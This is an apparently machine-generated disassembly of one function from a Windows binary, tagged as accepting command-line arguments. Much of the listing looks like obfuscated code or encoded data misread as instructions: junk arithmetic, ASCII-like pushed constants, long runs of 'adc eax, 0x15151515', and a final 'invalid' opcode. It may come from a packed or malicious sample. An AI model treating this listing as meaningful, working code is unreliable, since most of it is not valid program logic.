Function at 0x433878
Capabilities:
Accept command line arguments

Disassembly:
push eax
push edx
lea eax, [ebp - 0xc]
push eax
push eax
push dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x10]
push ecx
push edx
lea edx, [ebp - 0x18]
push edx
lea edx, [ebp - 0x10]
push edx
push eax
push 0x64707261
push edx
call fcn.00433858
push 0x3531
lea edx, [ebp - 0x1c]
push edx
push 0x6b727536
push ecx
push dword [ebp - 0x14]
lea eax, [ebp - 4]
push eax
push eax
push edx
push 0x6d68
push edx
push 0x4763
push dword [ebp - 4]
push 0x6c76
push eax
lea edx, [ebp - 0x18]
push edx
call fcn.00433785
push ebp
mov ebp, esp
sub esp, 0x168
inc ebx
not esi
mov ecx, edx
and edx, ecx
inc edx
add ebx, esi
push dword [ebp - 0x10]
push eax
push ecx
push 0x7244674a
push edx
call fcn.004336d0
push 0x37543161
push dword [ebp - 0x14]
push ecx
push edx
call fcn.00433672
push ecx
push eax
push eax
call fcn.00433601
and edi, esi
dec ecx
neg esi
mov ebx, esi
dec edx
mov esi, ecx
not ecx
inc ebx
add ecx, eax
inc edx
call sub.KERNEL32.DLL_GetCommandLineA
mov ecx, edx
add edi, eax
dec ecx
neg esi
and ebx, edx
add edi, ecx
and ebx, edi
mov edi, ebx
add edi, esi
and edi, edx
inc edx
add ecx, edi
neg edx
dec ebx
neg edi
leave
and eax, esi
inc eax
dec esi
mov eax, edi
not edi
neg ecx
call fcn.00439820
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x4d7fcf15
mov esi, 0x406cc12b
jp 0x4339a3
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x121a5750
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x1a575015
adc dl, byte [esi]
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
push eax
push edi
sbb dl, byte [edx]
push ss
push esp
and dh, byte [edx + 0x2d501515]
adc ch, 0xac
xchg ecx, eax
push esp
dec esi
arpl word [0x4ab36c15], dx
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x7f151515
sti
jg 0x4339a1
push ebx
jnp 0x433a18
wait
aaa
sal byte [edx + 0x15], cl
adc eax, 0x1514376c
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x47436715
xor esp, edx
push edi
inc ebx
shr dword [ecx + 0x6c], 1
jb 0x433ad7
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
cmp bp, word [ebp - 0x23c4dad3]
in eax, dx
insb byte es:[edi], dx
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x2dad3b66
and eax, 0x6ceddc3b
loop 0x433a69
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x1d155325
enter 0xffffffffffff8f53, 0x49
adc eax, 0x15151515
adc eax, 0x53251515
adc eax, 0x8f53c81d
dec ecx
aam 0x91
insb byte es:[edi], dx
jo 0x433b08
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x3b950a7f
stc
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0xa7f1515
xchg ebp, eax
cmp edi, ecx
sbb eax, 0xc81db1b8
xchg ebp, eax
insb byte es:[edi], dx
dec edx
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15920a54
adc eax, 0x1cc53f9b
adc eax, 0x6c23be15
push 0x53
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
push esp
cli
mov byte [0xc6501515], al
sbb eax, 0x6c91ba32
mov edx, 0x151515a3
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0x15151515
adc eax, 0xdcb14f8f
sbb eax, 0x54a9911d
in al, 0x22
adc eax, 0x6c951d15
invalid